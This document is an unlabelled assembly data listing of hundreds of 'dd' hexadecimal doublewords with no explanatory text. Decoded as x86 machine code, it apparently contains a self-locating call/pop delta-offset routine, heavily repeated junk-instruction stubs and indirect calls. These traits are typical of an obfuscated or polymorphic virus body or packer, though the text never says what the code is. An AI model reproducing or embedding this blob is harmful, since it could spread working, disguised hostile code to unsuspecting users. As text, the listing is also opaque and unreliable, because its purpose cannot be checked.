dd 66195FFh, 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 9543C3C3h, 0B5FF2C4Ch, 606A734h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0B9C35343h
dd 1F6C1A3Ch, 0F1080A22h, 0E195FFB7h, 8906030Ah, 323499Dh
dd 8DBD8306h, 2060321h, 34840Fh, 9D8B0000h, 60326CDh, 1FD858Bh
dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 598B1AC3h, 58A516DDh, 0C6FC53h, 85C7F500h
dd 60330B9h, 0
dd 0E9DBBF0Fh, 0FFFFF2AEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 15h, 19C35747h, 0A5CBBB62h, 0C18B1419h, 858DD98Bh
dd 6032811h, 24048950h, 2820Fh, 0DAB70000h, 6A006Ah, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 6AB3EDC3h, 0BF6610DAh, 6AC2DAh, 1ADD9D89h, 880F0603h
dd 6, 28A9B589h, 858D0603h, 6079866h, 0F05C083h, 0F90FFB7h
dd 8Eh, 66515000h, 905FF98Bh, 6AD6B3h, 0D98B006Ah, 0CC995FFh
dd 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 6676A9C3h, 0A8B7DF81h, 97478D8Dh, 0B5010606h
dd 6032AB5h, 8D31D1FFh, 6032CCDh, 1E91BD83h, 0F010603h
dd 5985h, 0E222BF00h, 26A7351h, 0FB8B6650h, 6A240489h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 21D1C357h, 0D381664Dh, 95FFF003h, 6031CB1h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0A1C35141h
dd 975B589h, 0BDE90603h, 0E800000Ch, 0
dd 70ED815Dh, 0F060798h, 2E89h, 14E800h, 83DA0000h, 94B9DD3Ah
dd 252D904h, 0C6A2DA8Ch, 963FECB0h, 0EE89625h, 26000000h
dd 0DFDC6683h, 1F66C498h, 0CEADEB7Ch, 6A5B5BAEh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 0A8E4C357h, 0DB589D9h, 8D06032Ah, 6888985h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 673E8F0Bh, 7800D638h, 8B90EEB0h, 8E950D8h, 31000000h
dd 7E96D646h, 904C6380h, 5979BB52h, 645F3F00h, 35FFh, 9E90000h
dd 0C2000000h, 18DDD3h, 27ED122Ah, 258964h, 66000000h
dd 0C963D781h, 2A1585FFh, 6A0603h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 0AC0479C3h, 0FB13DC8h
dd 68Dh, 0F1952900h, 6A06030Bh, 51006AFFh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0E7816644h
dd 0B5FFB867h, 6032221h, 0C870Fh, 890F0000h, 6, 1FA1BD01h
dd 95FF0603h, 6032015h, 13CE9h, 24E78100h, 0B0606353h
dd 0C820F00h, 0E9000000h, 7, 0B1A3EC54h, 0E96BBCF7h, 0Eh
dd 0D6223FDh, 801F1A61h, 7F9D937Ah, 70E6C236h, 0B99DBF66h
dd 0BD8B71E4h, 6030A31h, 830F613Ch, 0F9h, 0EED38056h, 0C8B60F5Bh
dd 31859D29h, 6BA0603h, 8B000000h, 32901BDh, 0FC18B06h
dd 0C83h, 6890F00h, 0B000000h, 324DDBDh, 4E8C106h, 23B1B531h
dd 0F7660603h, 68C0FE2h, 8B000000h, 32301BDh, 89C82B06h
dd 32CE195h, 0FD18B06h, 0BE9DEBFh, 0F000000h, 58Dh, 4DD7BB00h
dd 858B3B05h, 6032551h, 0A43DD781h, 0C083449Bh, 0F8B70F07h
dd 8100C083h, 9C1E58F7h, 7E834h, 9FA30000h, 0A64BD1E0h
dd 99D8B33h, 5F06030Fh, 830FD03Bh, 22h, 81958957h, 5B06032Ah
dd 54E9h, 0DE800h, 960A0000h, 0EDE7F23Ah, 0B5D503EAh, 8BCA603Bh
dd 8D8B5BF8h, 60305BDh, 17598D89h, 0E1830603h, 2A840F01h
dd 60000000h, 68B0Fh, 95330000h, 60323C9h, 0A2E28166h
dd 0A58361F4h, 60305BDh, 0DE8B66FEh, 25519589h, 0FB8B0603h
dd 0E9h, 63B58D00h, 6A060703h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 619CC356h, 0BBAB919Bh
dd 0E1F855FFh, 6AF88B66h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 29853425h
dd 31E5DBDh, 0B995FF06h, 6A06031Fh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0DC5EC352h
dd 12E957h, 77C10000h, 0F8AA31FFh, 0D19653CCh, 11C11FA1h
dd 4781D567h, 93DB9h, 0D9BF0F00h, 6AFCE183h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 92BCC356h, 3870FAEh, 0F000000h, 6AFCF9BFh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
dd 0CE16C353h, 0B8FC61h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 8EE7C353h
dd 36D02488h, 24D58589h, 0D22B0603h, 0ACD9D8Bh, 0BD310603h
dd 6030281h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 23899509h
dd 8D0F0603h, 6, 2DBDB589h, 880D0603h, 8B000000h, 312E99Dh
dd 0D1958B06h, 6A060331h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 67CDC351h, 2958D701h
dd 303F985h, 0E18D8B06h, 0E8060301h, 5, 0E8159E20h, 15BD8BB8h
dd 5B060323h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 0AE95818h, 0A3000000h, 6B673768h, 0E4FD8098h, 0BD83F539h
dd 6031D65h, 61840F00h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0ED96C355h
dd 623DAB63h, 0E2DD4D17h, 1D85BD89h, 0B8F80603h, 0
dd 24E1BD8Bh, 8D8D0603h, 6034D1Ch, 9DC38166h, 0E8E1FF6Dh
dd 14h, 5D0A1959h, 76426778h, 4792F7D7h, 0B656270Bh, 4181C7AAh
dd 5FDF8B66h, 21BDBD83h, 0F000603h, 41184h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 0DB7AF828h, 75DD9E18h, 0BD83F94Ah, 60321BDh, 0FA840F01h
dd 6A000003h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 95CEC353h, 3A4436A9h, 0F9086468h
dd 1F959D8Bh, 14E90603h, 0CA000000h, 0ADB25049h, 3D6CDEFh
dd 4FF1B061h, 0A19CC92Fh, 83B574FCh, 321BDBDh, 860F0306h
dd 373h, 41A9C9BBh, 6A6074h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 8C66A2C3h, 8012B7D9h
dd 6A04E1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
dd 56460000h, 0A2864CC3h, 0A3C9ECFAh, 66AE7EFCh, 0EC25CB81h
dd 840FC90Ah, 0A0h, 858B14B3h, 60313C1h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 19h, 51C35141h, 45AABCA8h
dd 0E9BD03CEh, 3306030Ah, 31C7985h, 0D98D3106h, 8B06030Ah
dd 31E9D9Dh, 0EE85006h, 0F2000000h, 50F47834h, 46E715F7h
dd 6F61A8BCh, 53E7BFE0h, 895B1889h, 81662404h, 6AC42DE7h
dd 0B70F6000h, 0DCB552F9h, 0E686159h, 0F108F59h, 28Eh
dd 81DA8B00h, 5AF12434h, 0A7B31090h, 140595FFh, 85890603h
dd 606A734h, 2419D2Bh, 0C9E90603h, 66000001h, 0AB90F381h
dd 0A72C858Bh, 8D010606h, 60301C9h, 1800C7h, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 67702C3h, 0F8024625h, 0FE8F4h, 0FE630000h, 6BE5E399h
dd 0FE77466h, 8B746AADh, 0D9BF0F23h, 30B58B5Fh, 6A0606A7h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 3694C352h, 128D858Bh, 6890603h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 56C35747h, 81C7AAB6h
dd 8B5A5241h, 31F1D9Dh, 0C1858B06h, 6A060313h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 0E9C7C353h, 6, 2ECB2266h, 4689EA81h, 50006A04h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 7E897EEh, 93000000h, 0F25009B5h, 0B531A035h, 6032DB5h
dd 9D95895Fh, 5006030Fh, 0CCB3FBBFh, 2434892Ch, 88D38150h
dd 5F748A61h, 0A72CB5FFh, 9D8B0606h, 6032E49h, 804468F8h
dd 481F065h, 0B983BB24h, 34858D0Fh, 6A0606A7h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 1107C351h, 8166D8CDh, 0BB954EBh, 30A31BDh, 0FE95006h
dd 0FF000000h, 28ACE45Ah, 6F8B00BFh, 0BF590DEAh, 489BF0Bh
dd 0B5BF6624h, 595FFF3h, 6A060314h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0EDB3C351h
dd 0E88D37DEh, 12h, 0A9D51FD5h, 17FB6C76h, 0D00BC22Ch
dd 69FF5F37h, 8B662AE7h, 0BD8B5BF9h, 6030929h, 57006A61h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 569968E5h, 1DDBD8Bh, 895B0603h, 31CC585h, 0BD85C706h
dd 3060321h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 15042444h, 43000000h, 40FCC353h, 0BD9D8B51h
dd 5F060323h, 0A734BD83h, 0F000606h, 4A84h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 0AFC6F8Dh, 3FE9C9C2h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 7127C356h
dd 72C3EBCAh, 50AA99C7h, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 0DEBBC08Bh, 811D4448h, 3B649EEBh
dd 83F88B3Fh, 321BDBDh, 850F0306h, 38Dh, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 18h, 3C35747h, 71A0D7D9h
dd 207D9D8Bh, 0BD830603h, 606A734h, 5A840F00h, 0BB000003h
dd 2B123B13h, 0A734B5FFh, 8B600606h, 3247985h, 6850F06h
dd 89000000h, 317ADB5h, 95FF6106h, 6032E05h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0BCC35343h, 73FA7384h
dd 89DA8B66h, 30F0DBDh, 28B58B06h, 6A0606A7h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 0D807C352h, 0C7B5F0F4h, 1000106h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 50CF78F5h
dd 3A0EBF52h, 895F2BB1h, 8B662434h, 34B5FFFAh, 6A0606A7h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 3153C355h, 95FFC856h, 6032F19h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0ECC35343h, 13B9125Eh
dd 0A99D8BB4h, 8B060321h, 6A728B5h, 8D9D8B06h, 8B06031Eh
dd 3311D85h, 0D99D8B06h, 8906031Fh, 0C486h, 8D2B6000h
dd 6030A9Dh, 617CC380h, 31D1958Bh, 6A0603h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 70A72EC3h
dd 3108CA7Ch, 0BF8F597Dh, 4E35C177h, 5E9h, 0B3295B00h
dd 0C283F2E6h, 0FB8B6604h, 8B205089h, 0F3858DDFh, 8B0606BBh
dd 322D99Dh, 0B8868906h, 0B000000h, 31B459Dh, 6A006A06h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 297EC353h, 0D1FCAC18h, 0FDA8B66h, 0B5FFDAB7h
dd 606A734h, 258D2951h, 5B060312h, 1CB195FFh, 6A0603h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 0BE5C3C3h, 85B1218Dh, 870FF06Ch, 5, 0E36256BFh, 0DF8B9655h
dd 2DBF6650h, 6A962Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 8BC619C3h, 31BC19Dh, 34B5FF06h
dd 6A0606A7h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 870FC350h, 0BF770107h, 559D8BF5h
dd 0FF060331h, 3116595h, 8391B706h, 31795BDh, 840F0006h
dd 4Bh, 0E996E9B3h, 9, 2B7136BCh, 0E56A8495h, 6660504Ch
dd 6660DA8Bh, 0FE9F0B8h, 8Fh, 96616100h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 9DC35242h, 6D3D4CB4h
dd 0CBBF9AC7h, 0FF390287h, 6A734B5h, 0D8BF0F06h, 66195FFh
dd 0B5FF0603h, 606A734h, 0FFFEB70Fh, 30AE195h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 153BA8A6h, 286274C3h, 419D3105h, 83060311h, 3218DBDh
dd 840F0206h, 53h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 5C35343h, 809C0363h, 858B41D7h, 60301FDh
dd 21C1BD8Bh, 0C60603h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 602B8637h, 0C7F98B66h, 330B985h, 6, 78BB6600h, 0F465E90Ah
dd 5F51FFFFh, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 140424h, 53430000h, 0BD09EBC3h, 60321E9h, 2811858Dh
dd 0AE90603h, 0E1000000h, 966C438Ch, 0BD939A44h, 6E950ECh
dd 0D0000000h, 0D9BBDh, 240489C9h, 12E8h, 416A0800h, 3B8311E5h
dd 1B4F3D26h, 0D4EAA441h, 0F7EB556h, 68Bh, 850F00h, 5F000000h
dd 0CE8h, 0F6B1A000h, 2131840Ah, 0F4825CADh, 0A5853132h
dd 5B060304h, 0FE9006Ah, 0AA000000h, 0B9D33E63h, 72C4E4F2h
dd 37B66D52h, 6A0DF5h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 0B0C35040h, 9D09608Ch, 6031C5Dh, 0A700858Dh
dd 0AE90607h, 7E000000h, 57657EF5h, 0A244A0Eh, 5C0837Ah
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 66C35242h
dd 0A96D57AAh, 0F995893Eh, 50060329h, 0E8240489h, 6, 39B7531Bh
dd 0BD8BB6DDh, 6032381h, 6A006A5Fh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 1B2C350h
dd 0E8B47874h, 13h, 0A567216Bh, 2FC6EBDFh, 0D3862FA6h
dd 71BBD581h, 0B7751C36h, 6A5B72h, 1FFDBD01h, 95FF0603h
dd 6030CC9h, 2C9D9589h, 8D8D0603h, 6069747h, 0B3DBD09h
dd 0D1FF0603h, 0EA09D781h, 0BD8319D9h, 6031E91h, 75850F01h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 16042444h, 47000000h, 6653C357h, 9D03512Ch, 6031CD9h
dd 0BB026A5Bh, 443FDB1Bh, 0BF665090h, 6A90D5D9h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 0E9FAC350h, 11h, 6BDE798Fh, 3289A5C1h, 0F3E2585Eh, 0B7D4B16Eh
dd 959D8B80h, 0FF06031Bh, 31CB195h, 0FA8B6606h, 0EBFE9h
dd 0E800h, 815D0000h, 7A70AEDh, 698D8906h, 89060304h, 3108D85h
dd 89858D06h, 51060688h, 81BB505Fh, 8906F62Bh, 6A2404h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 9860F9C3h, 0BD1E565Fh, 12E9h, 568E2D00h, 53856EBFh
dd 51A10BF9h, 0EE2B14E8h, 6430176Fh, 35FFh, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 0EEA11EC3h, 81663CC5h, 640541E3h, 2589h, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 0D2AA53C3h, 85FFBFA3h, 6032A15h, 52FEBF0Fh, 0BF79D1BBh
dd 0FF6A5B06h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 18h, 5C35040h, 0B987E1EEh, 860F6060h, 0
dd 61F2BF0Fh, 12E9h, 0E6AA9F00h, 3380AE1Bh, 12AD67D9h
dd 0B6A0A626h, 619A9C0Ch, 21D9B5FFh, 0BD890603h, 6030259h
dd 3F99D29h, 95FF0603h, 6032015h, 132E9h, 1850F00h, 0F9000000h
dd 816600B0h, 0E6FB1DD7h, 9119BF70h, 9D8B28A7h, 6031299h
dd 3CF871E4h, 0C830F61h, 8B000001h, 30A219Dh, 0C8B60F06h
dd 0BADBBF0Fh, 6, 7F86F781h, 7E94E00h, 99000000h, 832E3D3Fh
dd 0C18B292Eh, 0C9BD8B60h, 0B2060308h, 0E8C161C5h, 0B2F38104h
dd 663A64EAh, 11E9E2F7h, 0FB000000h, 0BC22C17h, 0FF5F37D0h
dd 0F2AE769h, 0FC695236h, 0EE8C82Bh, 0A8000000h, 0BFAA5E34h
dd 91E05F92h, 0EA9C7C22h, 0BD8B521Ch, 6031301h, 0D18B5B5Bh
dd 5E9h, 0C7816600h, 858B57CCh, 6031959h, 0C319D89h, 0C0830603h
dd 6840F07h, 8B000000h, 326DDBDh, 0C08306h, 32719D89h
dd 0D03B0603h, 11830Fh, 9D330000h, 603250Dh, 5AE9h, 0B18D3100h
dd 8B060305h, 3214D8Dh, 0C9BD2906h, 83060310h, 840F01E1h
dd 3Fh, 0F1E78166h, 4DA5835Dh, 0FE060321h, 3830Fh, 0E7800000h
dd 9DBD0BFDh, 8906030Ah, 3195995h, 0BE806h, 64DA0000h
dd 96593272h, 1517FA4Fh, 2840F87h, 8B000000h, 0E95BDAh
dd 8D000000h, 70E43B5h, 0DB816606h, 81661D0Ah, 6ABEA7C3h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h
dd 0C3574700h, 0F1FC718h, 682h, 9BD3100h, 0FF06032Ah, 31FB995h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 0AC44508Bh, 0B0CF308h, 0BFCF8166h, 800B985h
dd 850F0000h, 6, 0C79BD8Bh, 0E1830603h, 0F58501FCh, 0FC060326h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E0C35040h
dd 589EAD3Bh, 4B25BD22h, 19BD8BAAh, 0F060328h, 881h, 9D8B5300h
dd 60326CDh, 6AC02B5Fh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 0D889C356h, 9F589156h
dd 1CDB8166h, 6AD22B05h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 0A94C357h, 2317184Ah
dd 320497BCh, 66F88B60h, 0AD61D88Bh, 0E8D1C233h, 0E983D003h
dd 6AF47504h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 8E96C356h, 0E8F3D589h, 0Fh, 241A043Fh
dd 5CB8DB5Ah, 3A63863Fh, 8BFB4DBDh, 31035BDh, 0B4B75B06h
dd 0EFE38166h, 55006A72h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 858B60B8h, 6031BF1h, 880D61h
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 4791FFC3h, 0C2A9280h, 60A672B0h, 8B61D58Ah
dd 331D195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1A04h, 0C3524200h, 0E780E25Fh, 0B794BDCBh, 459D0BB4h
dd 8B060313h, 320419Dh, 0E18D8B06h, 6A060301h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 8936C357h, 32E798Dh, 8A0F6006h, 6, 11B59529h, 50610603h
dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 52006A58h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0E646412Dh, 66A437AFh, 0FBFFF781h, 6ADBB70Fh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 1455C357h, 0D477406h, 7E02C474h, 0BD83AFB7h, 6031D65h
dd 3B840F00h, 89000000h, 326519Dh, 0B806h, 0B70F0000h
dd 1C8D8DFAh, 0FF06034Dh, 53006AE1h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 2999945Ch
dd 1AD18D89h, 0BD830603h, 60321BDh, 0CA840F00h, 6A000004h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 7388C356h, 9A1BB2BEh, 9589C820h, 6030665h
dd 21BDBD83h, 0F010603h, 4AF84h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0F381C1B6h
dd 28B32B46h, 21BDBD83h, 0F030603h, 44986h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 5C5053E6h, 359D0957h, 8B06032Ah, 6A60FBh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 378F7AC3h
dd 0A05F5204h, 8C667269h, 12E9D9h, 3F050000h, 262B8CC9h
dd 0ABEF1BADh, 768860C9h, 6D8D1F3Dh, 6A04E180h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 0DEAFC356h, 820Fh, 0B70F0000h, 0FC90AD9h, 13784h, 959D8B00h
dd 8B06032Ch, 313C185h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 29E6C909h, 314098Dh, 79853306h
dd 6A06031Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 0CEC9C352h, 5AFB5152h, 1D918D89h
dd 0F900603h, 0A88h, 5E900h, 0E59E0000h, 50765F78h, 0BAB478BFh
dd 6A904Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 4BC507C3h, 559D8B8Ah, 6A060332h, 0E8D88B00h
dd 4, 1F03FFh, 800Fh, 8B500000h, 0E9042444h, 0Bh, 8FF6DCEFh
dd 5D259773h, 8B605B39h, 89DE8B00h, 8A042444h, 95FF58F9h
dd 6031405h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 0DEC35646h, 0B88C6892h, 0A7348589h, 6A0606h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 8E0FF2C3h, 5, 0C545C1BBh, 2985894Ch, 0E906031Ch, 226h
dd 68B0Fh, 9D8B0000h, 6032FE9h, 0A72C858Bh, 6A0606h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 328CFAC3h, 0B54274E3h, 81662C42h, 0C72DB4EBh, 1800h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 2A2BE079h, 0E77BFAABh, 0EB800EDCh, 30B58B54h
dd 0E80606A7h, 0Eh, 9DC1F3ABh, 96B0695h, 0AF06117Eh, 0BD8B9857h
dd 60311F1h, 8D858B5Fh, 0E9060312h, 7, 0D274F3F0h, 0E936571Dh
dd 0Ah, 0D58A2871h, 0A2B8076h, 689ACA7h, 0F1EF8166h, 0C1858B50h
dd 6A060313h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 9A47C352h, 0CB0113B4h, 19466A47h
dd 31C98589h, 46890603h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 0B6D54A79h, 3E6E562Fh
dd 0B589C230h, 603038Dh, 13A98501h, 0BB500603h, 9A8F8C6h
dd 6A243489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 603DC356h, 0CAC985FCh, 9D017453h
dd 6030FB9h, 9E28BCBFh, 2CB5FF1Ah, 6A0606A7h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 0C187C356h, 20796929h, 1C059D8Bh, 0FF680603h, 6080BD07h
dd 8161D38Bh, 0FC002404h, 89BF7F61h, 8D61B855h, 6A73485h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 0BD8B0F5Fh, 60311FDh, 810F5150h, 16h, 11E9h
dd 88E99400h, 0A69C1839h, 859DF1CEh, 6D96080h, 895F98A7h
dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
dd 56460000h, 9D8B96C3h, 6030A29h, 140595FFh, 6A0603h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 0DA6918C3h, 345BD0Bh, 0E9610603h, 7, 45C334BBh, 0E81E934Dh
dd 10h, 0F6E08E8Fh, 24752FEBh, 2E63DAEFh, 74422DC9h, 14E9h
dd 0D6806B00h, 37716A58h, 424733C6h, 0A863FC16h, 70E30EEEh
dd 85C75F18h, 60321BDh, 3, 1105BD8Bh, 0BD830603h, 606A734h
dd 7840F00h, 0E9000000h, 1Dh, 3050FE8Bh, 4400110Ch, 0E8C10111h
dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
dd 11043001h, 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0B782B194h
dd 6880F6Eh, 89000000h, 32D1585h, 4ACF8106h, 833CAAEDh
dd 321BDBDh, 850F0306h, 3EDh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 0C35747h, 0CB344314h, 487312C8h
dd 12899D01h, 0B70F0603h, 34BD83FEh, 606A7h, 3B3840Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
dd 56460000h, 0FFB6B8C3h, 6A734B5h, 95FFF906h, 6032E05h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0D6C35242h
dd 8B855624h, 0EF3886B2h, 0A728B58Bh, 6A0606h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 0BF640C3h, 6C7E604h, 10001h, 1F4D9589h, 50960603h, 96D98B66h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FAC35141h
dd 0CBCFCF13h, 0FAE1265h, 38Dh, 0DA8B6600h, 0A734B5FFh
dd 6A0606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 8A46DDC3h, 0DE59EA83h, 8993154Bh, 3027DB5h
dd 0E1BD8B06h, 0FF060331h, 32F1995h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0FE809h, 0C0B00000h
dd 0AA67908Ch, 0C96AC05Eh, 0A06FA101h, 6DBF6619h, 0B58B5F3Dh
dd 606A728h, 28BDB589h, 858B0603h, 603311Dh, 89DEB70Fh
dd 0C486h, 59BD3100h, 8B06031Ah, 331D195h, 51006A06h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 4C283A5h, 0F319D89h, 50890603h, 55006A20h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0C53C2A4h
dd 85891DEBh, 6031E8Dh, 0BBF3858Dh, 7E90606h, 8A000000h
dd 75FF9BD7h, 86894C74h, 0B8h, 0D968F781h, 6A5B08h, 34B5FFF9h
dd 6A0606A7h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 0B514C350h, 6F028764h, 0B195FFFBh
